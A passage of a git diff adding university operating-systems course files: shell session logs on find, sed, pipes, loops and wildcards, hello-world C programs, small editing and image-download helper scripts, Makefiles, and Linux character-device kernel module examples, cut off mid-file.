+ 2144  find ~/bo/ -type f -name "*klausur*.pdf" | grep "\-fig[0-9]"
+ 2145  find ~/bo/ -type f -name "*klausur*.pdf" | grep -v "\-fig[0-9]"
+ 2146  ls $(find ~/bo/ -type f -name "*klausur*.pdf" | grep -v "\-fig[0-9]")
+ 2147  zip -9 klausuren.zip $(find ~/bo/ -type f -name "*klausur*.pdf" | grep -v "\-fig[0-9]")
diff --git a/20210423/pipes-5.txt b/20210423/pipes-5.txt
new file mode 100644
index 0000000000000000000000000000000000000000..72529eecee6184f661445369ca67be8674070d40
--- /dev/null
+++ b/20210423/pipes-5.txt
@@ -0,0 +1,14 @@
+cassini/home/peter/bo/2021ss/bs/20210423> ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null   unix-20210423.tex   test-1.c   test-4.c      params-2.sh
+ test-2.c            test-3.c   params-1.sh   params-3.sh
+cassini/home/peter/bo/2021ss/bs/20210423> ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | cat
+unix-20210423.tex
+test-2.c
+test-1.c
+test-3.c
+test-4.c
+params-1.sh
+params-2.sh
+params-3.sh
+cassini/home/peter/bo/2021ss/bs/20210423> ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1
+params-3.sh
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/sed-1.txt b/20210423/sed-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..412c17d0eacee74c1e535766c846509c00f8f385
--- /dev/null
+++ b/20210423/sed-1.txt
@@ -0,0 +1,7 @@
+cassini/home/peter/bo/2021ss/bs/20210423> file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1)
+cassini/home/peter/bo/2021ss/bs/20210423> echo $file_template                                  test-6.c
+cassini/home/peter/bo/2021ss/bs/20210423> echo $file_template | sed -e 's/.*\.\(.*$\)/\1/'
+c
+cassini/home/peter/bo/2021ss/bs/20210423> echo $file_template | sed -e 's/\(.*\)\..*$/\1/'
+test-6
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/test-1.c b/20210423/test-1.c
new file mode 100644
index 0000000000000000000000000000000000000000..b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac
--- /dev/null
+++ b/20210423/test-1.c
@@ -0,0 +1,7 @@
+#include <stdio.h>
+
+int main (void)
+{
+  printf ("Hello, world!\n");
+  return 0;
+}
diff --git a/20210423/test-2.c b/20210423/test-2.c
new file mode 100644
index 0000000000000000000000000000000000000000..b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac
--- /dev/null
+++ b/20210423/test-2.c
@@ -0,0 +1,7 @@
+#include <stdio.h>
+
+int main (void)
+{
+  printf ("Hello, world!\n");
+  return 0;
+}
diff --git a/20210423/test-3.c b/20210423/test-3.c
new file mode 100644
index 0000000000000000000000000000000000000000..b12567c05cf7cf3d7b90f0f22635e78c3bcb6819
--- /dev/null
+++ b/20210423/test-3.c
@@ -0,0 +1,7 @@
+#include <stdio.h>
+
+int main (void)
+{
+  printf ("Hallo, world!\n");
+  return 0;
+}
diff --git a/20210423/test-4.c b/20210423/test-4.c
new file mode 100644
index 0000000000000000000000000000000000000000..c79c1c33e2c85d817fe9abfe7f6f52f4cde29996
--- /dev/null
+++ b/20210423/test-4.c
@@ -0,0 +1,7 @@
+#include <stdio.h>
+
+int main (void)
+{
+  printf ("Bonjour le monde !\n");
+  return 0;
+}
diff --git a/20210423/test-5.c b/20210423/test-5.c
new file mode 100644
index 0000000000000000000000000000000000000000..5f428754dd482e6044245d267994223e04856f6f
--- /dev/null
+++ b/20210423/test-5.c
@@ -0,0 +1,7 @@
+#include <stdio.h>
+
+int main (void)
+{
+  printf ("Bonjour le monde !\n");
+  return 1;
+}
diff --git a/20210423/test-6.c b/20210423/test-6.c
new file mode 100644
index 0000000000000000000000000000000000000000..08ad6a1254fc4d660e24087fa401156bde9245da
--- /dev/null
+++ b/20210423/test-6.c
@@ -0,0 +1,7 @@
+#include <stdio.h>
+
+int main (void)
+{
+  printf ("Bonjour le monde !\n")
+  return 1
+}
diff --git a/20210423/test.bc b/20210423/test.bc
new file mode 100644
index 0000000000000000000000000000000000000000..a922b775b5315bf2bc04d96cbdaba8d32c911404
--- /dev/null
+++ b/20210423/test.bc
@@ -0,0 +1 @@
+2 + 2
diff --git a/20210423/test.txt b/20210423/test.txt
new file mode 100644
index 0000000000000000000000000000000000000000..25cd896083bf6c919d1d2b70b8b06122e72cf5ca
--- /dev/null
+++ b/20210423/test.txt
@@ -0,0 +1,2 @@
+Dies ist ein Test.
+Dies auch.
diff --git a/20210423/unix-20210423.pdf b/20210423/unix-20210423.pdf
new file mode 120000
index 0000000000000000000000000000000000000000..5088e123b7cf3a13f3e818d8be9c5b5c70f0b056
--- /dev/null
+++ b/20210423/unix-20210423.pdf
@@ -0,0 +1 @@
+../20210409/unix-20210409.pdf
\ No newline at end of file
diff --git a/20210423/unix-20210423.tex b/20210423/unix-20210423.tex
new file mode 120000
index 0000000000000000000000000000000000000000..8548cff5b6f4928e1bacf91d66f0f6d1ed4966da
--- /dev/null
+++ b/20210423/unix-20210423.tex
@@ -0,0 +1 @@
+../20210409/unix-20210409.tex
\ No newline at end of file
diff --git a/20210423/vic b/20210423/vic
new file mode 100755
index 0000000000000000000000000000000000000000..063daa1366b11b0914121af554892a2e2c68183f
--- /dev/null
+++ b/20210423/vic
@@ -0,0 +1,39 @@
+#!/bin/bash
+
+debug=false
+
+if [ $# -gt 0 ]; then
+  $debug && echo "parameters = $@"
+  shift $(( $# - 1 ))
+  file_template="$1"
+else
+  file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1)
+fi
+
+$debug && echo "file_template = $file_template"
+
+file_extension=$(echo $file_template | sed -e 's/.*\.\(.*$\)/\1/')
+file_base=$(echo $file_template | sed -e 's/\(.*\)\..*$/\1/')
+
+$debug && echo "file_extension = $file_extension"
+$debug && echo "file_base = $file_base"
+
+file_number=$(echo $file_base | sed -e 's/^.*-\([0-9]*$\)/\1/')
+file_stem=$(echo $file_base | sed -e 's/^\(.*\)-[0-9]*$/\1/')
+
+$debug && echo "file_number = $file_number"
+$debug && echo "file_number = $file_stem"
+
+while [ -e "$file_stem-$file_number.$file_extension" ]; do
+  file_number=$((file_number + 1))
+done
+new_file_name="$file_stem-$file_number.$file_extension"
+
+$debug && echo "new_file_name = $new_file_name" && read junk
+
+cp -pi "$file_template" "$new_file_name"
+#$EDITOR "$new_file_name"
+/usr/bin/vim -X -c 'set sw=2' -c 'set expandtab' -c 'set ai' -c 'set nowrap' \
+  "$new_file_name"
+clear
+cat "$new_file_name"
diff --git a/20210423/vicat b/20210423/vicat
new file mode 100755
index 0000000000000000000000000000000000000000..c3565c648e9320f871f275b135cef86d4c918ebd
--- /dev/null
+++ b/20210423/vicat
@@ -0,0 +1,5 @@
+#!/bin/bash
+/usr/bin/vim -X -c 'set sw=2' -c 'set expandtab' -c 'set ai' -c 'set nowrap' "$@"
+clear
+shift $(( $# - 1 ))
+cat "$1"
diff --git a/20210423/while-1.txt b/20210423/while-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..a4492468164b8eac520137d6b0ee2fee75d73b29
--- /dev/null
+++ b/20210423/while-1.txt
@@ -0,0 +1,9 @@
+cassini/home/peter/bo/2021ss/bs/20210423> while true; do echo "Hello, world!"; sleep 1; done
+Hello, world!
+Hello, world!
+Hello, world!
+Hello, world!
+Hello, world!
+Hello, world!
+^C
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/while-2.txt b/20210423/while-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..3920a02af05ba9acec1de7c974d48d2f58a78fc9
--- /dev/null
+++ b/20210423/while-2.txt
@@ -0,0 +1,11 @@
+cassini/home/peter/bo/2021ss/bs/20210423> while 1 < 2; do echo "Hello, world!"; sleep 1; done
+bash: 2: Datei oder Verzeichnis nicht gefunden
+cassini/home/peter/bo/2021ss/bs/20210423> while [[ 1 < 2 ]]; do echo "Hello, world!"; sleep 1; done
+Hello, world!
+Hello, world!
+Hello, world!
+Hello, world!
+Hello, world!
+Hello, world!
+^C
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/while-3.txt b/20210423/while-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..d90662084ec2f492a2ad34962b95b337e4892961
--- /dev/null
+++ b/20210423/while-3.txt
@@ -0,0 +1,5 @@
+cassini/home/peter/bo/2021ss/bs/20210423> while [[ 1 ]]; do echo "Hello, world!"; sleep 1; doneHello, world!
+Hello, world!
+Hello, world!
+^C
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/wildcards-1.txt b/20210423/wildcards-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..be63f871cba519dea269f74017800e6f6ebe0284
--- /dev/null
+++ b/20210423/wildcards-1.txt
@@ -0,0 +1,19 @@
+cassini/home/peter/bo/2021ss/bs/20210423> touch test-1.c test-2.c
+cassini/home/peter/bo/2021ss/bs/20210423> ls -lrt
+insgesamt 0
+lrwxrwxrwx 1 peter peter 29 Apr 16 10:19 unix-20210423.pdf -> ../20210409/unix-20210409.pdf
+lrwxrwxrwx 1 peter peter 29 Apr 16 12:06 unix-20210423.tex -> ../20210409/unix-20210409.tex
+-rw-r--r-- 1 peter peter  0 Apr 23 11:34 test-2.c
+-rw-r--r-- 1 peter peter  0 Apr 23 11:34 test-1.c
+cassini/home/peter/bo/2021ss/bs/20210423> mkdir test
+cassini/home/peter/bo/2021ss/bs/20210423> cd test/
+cassini/home/peter/bo/2021ss/bs/20210423/test> mv ../test*.c
+cassini/home/peter/bo/2021ss/bs/20210423/test> ls -l
+insgesamt 0
+cassini/home/peter/bo/2021ss/bs/20210423/test> ls -l ..
+insgesamt 4
+drwxr-xr-x 2 peter peter 4096 Apr 23 11:34 test
+-rw-r--r-- 1 peter peter    0 Apr 23 11:34 test-2.c
+lrwxrwxrwx 1 peter peter   29 Apr 16 10:19 unix-20210423.pdf -> ../20210409/unix-20210409.pdf
+lrwxrwxrwx 1 peter peter   29 Apr 16 12:06 unix-20210423.tex -> ../20210409/unix-20210409.tex
+cassini/home/peter/bo/2021ss/bs/20210423/test>
diff --git a/20210423/wildcards-2.txt b/20210423/wildcards-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..d42e553e09454a564d0b8da903de9229d75d7c1f
--- /dev/null
+++ b/20210423/wildcards-2.txt
@@ -0,0 +1,22 @@
+cassini/home/peter/bo/2021ss/bs/20210423> ls -l
+insgesamt 8
+drwxr-xr-x 2 peter peter 4096 Apr 23 11:37 test
+lrwxrwxrwx 1 peter peter   29 Apr 16 10:19 unix-20210423.pdf -> ../20210409/unix-20210409.pdf
+lrwxrwxrwx 1 peter peter   29 Apr 16 12:06 unix-20210423.tex -> ../20210409/unix-20210409.tex
+-rw-r--r-- 1 peter peter 1045 Apr 23 11:36 wildcards-1.txt
+cassini/home/peter/bo/2021ss/bs/20210423> touch test-1.c test-2.c
+cassini/home/peter/bo/2021ss/bs/20210423> cd test/
+cassini/home/peter/bo/2021ss/bs/20210423/test> echo mv ../test-*.c
+mv ../test-1.c ../test-2.c
+cassini/home/peter/bo/2021ss/bs/20210423/test> mv ../test-*.c
+cassini/home/peter/bo/2021ss/bs/20210423/test> ls -l
+insgesamt 0
+cassini/home/peter/bo/2021ss/bs/20210423/test> cd ..
+cassini/home/peter/bo/2021ss/bs/20210423> ls -l
+insgesamt 8
+drwxr-xr-x 2 peter peter 4096 Apr 23 11:37 test
+-rw-r--r-- 1 peter peter    0 Apr 23 11:37 test-2.c
+lrwxrwxrwx 1 peter peter   29 Apr 16 10:19 unix-20210423.pdf -> ../20210409/unix-20210409.pdf
+lrwxrwxrwx 1 peter peter   29 Apr 16 12:06 unix-20210423.tex -> ../20210409/unix-20210409.tex
+-rw-r--r-- 1 peter peter 1045 Apr 23 11:36 wildcards-1.txt
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/wildcards-3.txt b/20210423/wildcards-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..2ab73de48e5fec561ce24442f5b66935a3a2855a
--- /dev/null
+++ b/20210423/wildcards-3.txt
@@ -0,0 +1,9 @@
+cassini/home/peter/bo/2021ss/bs/20210423> mv -i ../find-*.txt
+mv: das angegebene Ziel '../find-5.txt' ist kein Verzeichnis
+cassini/home/peter/bo/2021ss/bs/20210423> echo mv -i ../find-*.txt
+mv -i ../find-1.txt ../find-2.txt ../find-3.txt ../find-5.txt
+cassini/home/peter/bo/2021ss/bs/20210423> echo mv -i ../find-[15].txt
+mv -i ../find-1.txt ../find-5.txt
+cassini/home/peter/bo/2021ss/bs/20210423> mv -i ../find-[15].txt
+mv: '../find-5.txt' überschreiben? n
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/xkcd b/20210423/xkcd
new file mode 100755
index 0000000000000000000000000000000000000000..9964c95684e445d54fa4d26b6eb096257bed767c
--- /dev/null
+++ b/20210423/xkcd
@@ -0,0 +1,42 @@
+#!/bin/sh
+
+set -e
+
+prefix="${1:-xkcd}"
+suffix="$2"
+url=$(xsel)
+
+filebase="$prefix-$(echo $url | sed -e 's/^.*\///')"
+filename="$filebase$suffix"
+orig_filename=$(echo $filename | sed -e 's/\.png$/-orig.png/')
+if [ -e "$orig_filename" ]; then
+  echo -n "$orig_filename exists. Press ENTER to proceed, ^C to abort. "
+  read junk
+fi
+
+if [ -e "$filename" ]; then
+  mv "$filename" "$orig_filename"
+fi
+
+if [ "$prefix" = "xkcd" ]; then
+  url2=$(echo $url | sed -e 's/\.png$/_2x.png/')
+  filename2=$(echo $filename | sed -e 's/\.png$/_2x.png/')
+  if [ -e "$filename2" ]; then
+    echo -n "$filename2 exists. Press ENTER to proceed, ^C to abort. "
+    read junk
+  fi
+  wget "$url" -O "$filename"
+  wget "$url2" -O "$filename2"
+  ls -l "$filename" "$filename2"
+  test -s "$filename2" || rm "$filename2"
+else
+  wget "$url" -O "$filename"
+  ls -l "$filename"
+fi
+
+if [ -e "$orig_filename" ]; then
+  if diff "$orig_filename" "$filename"; then
+    echo "$filename unchanged"
+    mv "$orig_filename" "$filename"
+  fi
+fi
diff --git a/20210430/Makefile b/20210430/Makefile
new file mode 120000
index 0000000000000000000000000000000000000000..134aa0a7e9fd70818ec2dbee3f7201a161389434
--- /dev/null
+++ b/20210430/Makefile
@@ -0,0 +1 @@
+Makefile-modules-2
\ No newline at end of file
diff --git a/20210430/Makefile-1 b/20210430/Makefile-1
new file mode 100644
index 0000000000000000000000000000000000000000..6176ca2ae44724e1c600350f8a9f3cb97baa74aa
--- /dev/null
+++ b/20210430/Makefile-1
@@ -0,0 +1,2 @@
+hello-3: hello-3.c
+	gcc -Wall -O hello-3.c -o hello-3
diff --git a/20210430/Makefile-2 b/20210430/Makefile-2
new file mode 100644
index 0000000000000000000000000000000000000000..4d111b46792c7bdf29ea38bfc9e31ebb38e6484a
--- /dev/null
+++ b/20210430/Makefile-2
@@ -0,0 +1,5 @@
+TARGET = hello-3
+CFLAGS = -Wall -O
+
+$(TARGET): hello-3.c
+	gcc $(CFLAGS) hello-3.c -o hello-3
diff --git a/20210430/Makefile-3 b/20210430/Makefile-3
new file mode 100644
index 0000000000000000000000000000000000000000..4c57b77d9975700f8790e9b677300a02b389e2c3
--- /dev/null
+++ b/20210430/Makefile-3
@@ -0,0 +1,5 @@
+TARGET = hello-3
+CFLAGS = -Wall -O
+
+$(TARGET): $(TARGET).c
+	gcc $(CFLAGS) $< -o $(TARGET)
diff --git a/20210430/Makefile-modules-1 b/20210430/Makefile-modules-1
new file mode 100644
index 0000000000000000000000000000000000000000..9c79a1d26b3f4b8e6490addcc38333ee13ecef48
--- /dev/null
+++ b/20210430/Makefile-modules-1
@@ -0,0 +1,10 @@
+obj-m += hellomod-1.o
+
+# obj-m += hellomod-2.o
+# obj-m += chardev-1.o
+
+all:
+	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
+
+clean:
+	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
diff --git a/20210430/Makefile-modules-2 b/20210430/Makefile-modules-2
new file mode 100644
index 0000000000000000000000000000000000000000..8c9b708954395ea97aa4b355d93269b083ddfeb8
--- /dev/null
+++ b/20210430/Makefile-modules-2
@@ -0,0 +1,9 @@
+obj-m = hellomod-1.o
+obj-m += hellomod-2.o
+obj-m += chardev-1.o
+
+all:
+	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
+
+clean:
+	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
diff --git a/20210430/chardev-1.c b/20210430/chardev-1.c
new file mode 100644
index 0000000000000000000000000000000000000000..17a6651a33313322de202fbcb6bbf82333c0b766
--- /dev/null
+++ b/20210430/chardev-1.c
@@ -0,0 +1,166 @@
+/*
+ *  chardev.c: Creates a read-only char device that says how many times
+ *  you've read from the dev file
+ */
+
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/fs.h>
+#include <asm/uaccess.h>	/* for put_user */
+
+/*  
+ *  Prototypes - this would normally go in a .h file
+ */
+int init_module(void);
+void cleanup_module(void);
+static int device_open(struct inode *, struct file *);
+static int device_release(struct inode *, struct file *);
+static ssize_t device_read(struct file *, char *, size_t, loff_t *);
+static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
+
+#define SUCCESS 0
+#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
+#define BUF_LEN 80		/* Max length of the message from the device */
+
+/* 
+ * Global variables are declared as static, so are global within the file. 
+ */
+
+static int Major;		/* Major number assigned to our device driver */
+static int Device_Open = 0;	/* Is device open?  
+				 * Used to prevent multiple access to device */
+static char msg[BUF_LEN];	/* The msg the device will give when asked */
+static char *msg_Ptr;
+
+static struct file_operations fops = {
+	.read = device_read,
+	.write = device_write,
+	.open = device_open,
+	.release = device_release
+};
+
+/*
+ * This function is called when the module is loaded
+ */
+int init_module(void)
+{
+        Major = register_chrdev(0, DEVICE_NAME, &fops);
+
+	if (Major < 0) {
+	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
+	  return Major;
+	}
+
+	printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major);
+	printk(KERN_INFO "the driver, create a dev file with\n");
+	printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major);
+	printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n");
+	printk(KERN_INFO "the device file.\n");
+	printk(KERN_INFO "Remove the device file and module when done.\n");
+
+	return SUCCESS;
+}
+
+/*
+ * This function is called when the module is unloaded
+ */
+void cleanup_module(void)
+{
+	/* 
+	 * Unregister the device 
+	 */
+	unregister_chrdev(Major, DEVICE_NAME);
+}
+
+/*
+ * Methods
+ */
+
+/* 
+ * Called when a process tries to open the device file, like
+ * "cat /dev/mycharfile"
+ */
+static int device_open(struct inode *inode, struct file *file)
+{
+	static int counter = 0;
+
+	if (Device_Open)
+		return -EBUSY;
+
+	Device_Open++;
+	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
+	msg_Ptr = msg;
+	try_module_get(THIS_MODULE);
+
+	return SUCCESS;
+}
+
+/* 
+ * Called when a process closes the device file.
+ */
+static int device_release(struct inode *inode, struct file *file)
+{
+	Device_Open--;		/* We're now ready for our next caller */
+
+	/* 
+	 * Decrement the usage count, or else once you opened the file, you'll
+	 * never get get rid of the module. 
+	 */
+	module_put(THIS_MODULE);
+
+	return 0;
+}
+
+/* 
+ * Called when a process, which already opened the dev file, attempts to
+ * read from it.
+ */
+static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
+			   char *buffer,	/* buffer to fill with data */
+			   size_t length,	/* length of the buffer     */
+			   loff_t * offset)
+{
+	/*
+	 * Number of bytes actually written to the buffer 
+	 */
+	int bytes_read = 0;
+
+	/*
+	 * If we're at the end of the message, 
+	 * return 0 signifying end of file 
+	 */
+	if (*msg_Ptr == 0)
+		return 0;
+
+	/* 
+	 * Actually put the data into the buffer 
+	 */
+	while (length && *msg_Ptr) {
+
+		/* 
+		 * The buffer is in the user data segment, not the kernel 
+		 * segment so "*" assignment won't work.  We have to use 
+		 * put_user which copies data from the kernel data segment to
+		 * the user data segment. 
+		 */
+		put_user(*(msg_Ptr++), buffer++);
+
+		length--;
+		bytes_read++;
+	}
+
+	/* 
+	 * Most read functions return the number of bytes put into the buffer
+	 */
+	return bytes_read;
+}
+
+/*  
+ * Called when a process writes to dev file: echo "hi" > /dev/hello 
+ */
+static ssize_t
+device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
+{
+	printk(KERN_ALERT "Sorry, this operation isn't supported.\n");
+	return -EINVAL;
+}
diff --git a/20210430/chardev-2.c b/20210430/chardev-2.c
new file mode 100644
index 0000000000000000000000000000000000000000..54b8e3f30a580c7896ea18a0e4358059a6c03a48
--- /dev/null
+++ b/20210430/chardev-2.c
@@ -0,0 +1,183 @@
+/*
+ *  chardev.c: Creates a read-only char device that says how many times
+ *  you've read from the dev file
+ */
+
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/device.h>
+#include <linux/fs.h>
+#include <asm/uaccess.h>	/* for put_user */
+
+/*  
+ *  Prototypes - this would normally go in a .h file
+ */
+int init_module(void);
+void cleanup_module(void);
+static int device_open(struct inode *, struct file *);
+static int device_release(struct inode *, struct file *);
+static ssize_t device_read(struct file *, char *, size_t, loff_t *);
+static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
+
+struct class *dev_Class;
+struct device *chr_dev;
+
+#define SUCCESS 0
+#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
+#define BUF_LEN 80		/* Max length of the message from the device */
+
+/* 
+ * Global variables are declared as static, so are global within the file. 
+ */
+
+static int Major;		/* Major number assigned to our device driver */
+static int Device_Open = 0;	/* Is device open?  
+				 * Used to prevent multiple access to device */
+static char msg[BUF_LEN];	/* The msg the device will give when asked */
+static char *msg_Ptr;
+
+static struct file_operations fops = {
+	.read = device_read,
+	.write = device_write,
+	.open = device_open,
+	.release = device_release
+};
+
+/*
+ * This function is called when the module is loaded
+ */
+int init_module(void)
+{
+        Major = register_chrdev(0, DEVICE_NAME, &fops);
+
+	if (Major < 0) {
+	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
+	  return Major;
+	}
+
+        // Create module class
+        printk(KERN_INFO "Creating device class LCD...\n");
+        dev_Class = class_create(THIS_MODULE,DEVICE_NAME);
+        if( dev_Class == NULL)
+        {
+            printk( KERN_ALERT "Error! Class couldn't be created!\n" );
+            return 1 ;
+        }
+        printk( KERN_INFO "Class created!\n" );
+        // Create device in /dev/...
+        printk(KERN_INFO "Creating device\n");
+        chr_dev = device_create(dev_Class, NULL, MKDEV(Major,0), NULL, DEVICE_NAME);
+
+	printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major);
+	printk(KERN_INFO "the driver, create a dev file with\n");
+	printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major);
+	printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n");
+	printk(KERN_INFO "the device file.\n");
+	printk(KERN_INFO "Remove the device file and module when done.\n");
+
+	return SUCCESS;
+}
+
+/*
+ * This function is called when the module is unloaded
+ */
+void cleanup_module(void)
+{
+	/* 
+	 * Unregister the device 
+	 */
+	unregister_chrdev(Major, DEVICE_NAME);
+}
+
+/*
+ * Methods
+ */
+
+/* 
+ * Called when a process tries to open the device file, like
+ * "cat /dev/mycharfile"
+ */
+static int device_open(struct inode *inode, struct file *file)
+{
+	static int counter = 0;
+
+	if (Device_Open)
+		return -EBUSY;
+
+	Device_Open++;
+	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
+	msg_Ptr = msg;
+	try_module_get(THIS_MODULE);
+
+	return SUCCESS;
+}
+
+/* 
+ * Called when a process closes the device file.
+ */
+static int device_release(struct inode *inode, struct file *file)
+{
+	Device_Open--;		/* We're now ready for our next caller */
+
+	/* 
+	 * Decrement the usage count, or else once you opened the file, you'll
+	 * never get get rid of the module. 
+	 */
+	module_put(THIS_MODULE);
+
+	return 0;
+}
+
+/* 
+ * Called when a process, which already opened the dev file, attempts to
+ * read from it.
+ */
+static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
+			   char *buffer,	/* buffer to fill with data */
+			   size_t length,	/* length of the buffer     */
+			   loff_t * offset)
+{
+	/*
+	 * Number of bytes actually written to the buffer 
+	 */
+	int bytes_read = 0;
+
+	/*
+	 * If we're at the end of the message, 
+	 * return 0 signifying end of file 
+	 */
+	if (*msg_Ptr == 0)
+		return 0;
+
+	/* 
+	 * Actually put the data into the buffer 
+	 */
+	while (length && *msg_Ptr) {
+
+		/* 
+		 * The buffer is in the user data segment, not the kernel 
+		 * segment so "*" assignment won't work.  We have to use 
+		 * put_user which copies data from the kernel data segment to
+		 * the user data segment. 
+		 */
+		put_user(*(msg_Ptr++), buffer++);
+
+		length--;
+		bytes_read++;
+	}
+
+	/* 
+	 * Most read functions return the number of bytes put into the buffer
+	 */
+	return bytes_read;
+}
+
+/*  
+ * Called when a process writes to dev file: echo "hi" > /dev/hello 
+ */
+static ssize_t
+device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
+{
+	printk(KERN_ALERT "Sorry, this operation isn't supported.\n");
+	return -EINVAL;
+}
diff --git a/20210430/chardev-3.c b/20210430/chardev-3.c
new file mode 100644
index 0000000000000000000000000000000000000000..516a074f806e3f600009b39ca912bf5ab69e3989
--- /dev/null
+++ b/20210430/chardev-3.c
@@ -0,0 +1,198 @@
+/*
+ *  chardev.c: Creates a read-only char device that says how many times
+ *  you've read from the dev file
+ */
+
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/device.h>
+#include <linux/fs.h>
+#include <asm/uaccess.h>	/* for put_user */
+
+MODULE_LICENSE("GPL");
+
+/*  
+ *  Prototypes - this would normally go in a .h file
+ */
+int init_module(void);
+void cleanup_module(void);
+static int device_open(struct inode *, struct file *);
+static int device_release(struct inode *, struct file *);
+static ssize_t device_read(struct file *, char *, size_t, loff_t *);
+static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
+
+struct class *dev_Class;
+struct device *chr_dev;
+
+#define SUCCESS 0
+#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
+#define BUF_LEN 80		/* Max length of the message from the device */
+
+/* 
+ * Global variables are declared as static, so are global within the file. 
+ */
+
+static int Major;		/* Major number assigned to our device driver */
+static int Device_Open = 0;	/* Is device open?  
+				 * Used to prevent multiple access to device */
+static char msg[BUF_LEN];	/* The msg the device will give when asked */
+static char *msg_Ptr;
+
+static struct file_operations fops = {
+	.read = device_read,
+	.write = device_write,
+	.open = device_open,
+	.release = device_release
+};
+
+/*
+ * This function is called when the module is loaded
+ */
+int init_module(void)
+{
+        Major = register_chrdev(0, DEVICE_NAME, &fops);
+
+	if (Major < 0) {
+	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
+	  return Major;
+	}
+
+        // Create module class
+        printk (KERN_INFO "Creating device class \"chardev\" ...\n");
+        dev_Class = class_create (THIS_MODULE,DEVICE_NAME);
+        if( dev_Class == NULL)
+        {
+            printk (KERN_ALERT "Error! Class couldn't be created!\n");
+            return 1;
+        }
+        printk (KERN_INFO "Class created!\n");
+        // Create device in /dev/...
+        printk (KERN_INFO "Creating device\n");
+        chr_dev = device_create (dev_Class, NULL, MKDEV (Major,0), NULL, DEVICE_NAME);
+        if (chr_dev == NULL)
+        {
+            printk( KERN_ALERT "Error! Device couldn't be created!\n" );
+            return 1 ;
+        }
+
+	return SUCCESS;
+}
+
+/*
+ * This function is called when the module is unloaded
+ */
+void cleanup_module(void)
+{
+        printk(KERN_INFO "module chardev-4 cleanup\n");
+        //Unregister the device
+        if (chr_dev)
+          {
+            printk(KERN_INFO "Unregister device ...\n");
+            device_unregister(chr_dev);
+            printk(KERN_INFO "OK\n");
+          }
+
+        if (dev_Class)
+          {
+            printk(KERN_INFO "Unregister class ...\n");
+            class_unregister(dev_Class);
+            printk(KERN_INFO "OK\n");
+          }
+
+        printk(KERN_INFO "Unregister Chardev ...\n");
+        unregister_chrdev(Major, DEVICE_NAME);
+        printk(KERN_INFO "Device %s unregistered!\n", DEVICE_NAME);
+}
+
+/*
+ * Methods
+ */
+
+/* 
+ * Called when a process tries to open the device file, like
+ * "cat /dev/mycharfile"
+ */
+static int device_open(struct inode *inode, struct file *file)
+{
+	static int counter = 0;
+
+	if (Device_Open)
+		return -EBUSY;
+
+	Device_Open++;
+	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
+	msg_Ptr = msg;
+	try_module_get(THIS_MODULE);
+
+	return SUCCESS;
+}
+
+/* 
+ * Called when a process closes the device file.
+ */
+static int device_release(struct inode *inode, struct file *file)
+{
+	Device_Open--;		/* We're now ready for our next caller */
+
+	/* 
+	 * Decrement the usage count, or else once you opened the file, you'll
+	 * never get get rid of the module. 
+	 */
+	module_put(THIS_MODULE);
+
+	return 0;
+}
+
+/* 
+ * Called when a process, which already opened the dev file, attempts to
+ * read from it.
+ */
+static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
+			   char *buffer,	/* buffer to fill with data */
+			   size_t length,	/* length of the buffer     */
+			   loff_t * offset)
+{
+	/*
+	 * Number of bytes actually written to the buffer 
+	 */
+	int bytes_read = 0;
+
+	/*
+	 * If we're at the end of the message, 
+	 * return 0 signifying end of file 
+	 */
+	if (*msg_Ptr == 0)
+		return 0;
+
+	/* 
+	 * Actually put the data into the buffer 
+	 */
+	while (length && *msg_Ptr) {
+
+		/* 
+		 * The buffer is in the user data segment, not the kernel 
+		 * segment so "*" assignment won't work.  We have to use 
